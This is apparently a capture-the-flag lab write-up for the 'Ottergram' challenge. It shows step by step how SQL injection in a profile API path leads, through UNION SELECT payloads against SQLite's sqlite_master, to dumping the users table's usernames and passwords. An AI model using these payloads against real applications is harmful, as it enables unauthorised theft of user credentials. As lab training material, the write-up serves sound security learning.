> For the complete documentation index, see [llms.txt](https://notes.dollarboysushil.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.dollarboysushil.com/web-application-pentest/bugforge/sql-injection-sqli/ottergram.md).

# Ottergram

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/6mh8mBh8ORwczd1LXzaK" alt=""><figcaption></figcaption></figure>

Intersting request

```
GET /api/profile/sushil
```

<figure><img src="/files/0vF3C131BtOHlcApJokS" alt=""><figcaption></figcaption></figure>

Possible SQLi in path parameter.\
Using simple payload `' or 1=1 -- -` proves this parameter is indeed vulnerable to sqli

<figure><img src="/files/vZmszIMremOV4j4KZmMg" alt=""><figcaption></figcaption></figure>

Next step, finding column number. Using union select method, I found the no of column = 7

```
' union select 1,2,3,4,5,6,7 -- -
```

<figure><img src="/files/A6nMiLu7gX8mfwtmpnbW" alt=""><figcaption></figcaption></figure>

Using [PayloadsAllTheThings SQLi Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification), I found the database to be sqlite

Next is dumping the columns name.

```
' union select 1,2,3,4,5,6,group_concat(tbl_name) from sqlite_master -- -
```

<figure><img src="/files/4rPYCQSfo6Pi8BHWwsng" alt=""><figcaption></figcaption></figure>

`users` table looks intersting.

Next step is to get columns name from `users` table.

```
' union select 1,2,3,4,5,6,MAX(sql) from sqlite_master WHERE tbl_name='users' -- -
```

<figure><img src="/files/8ZBtwnN8voL7gs8Tj2tl" alt=""><figcaption></figcaption></figure>

Two interesting columns on `users` table are `username` and `password` . Dumping them as

```
' union select 1,2,3,4,5,username,password from users -- -
```

<figure><img src="/files/4yGS6W5s8I1AaBlclFyp" alt=""><figcaption></figcaption></figure>

Got the flag.
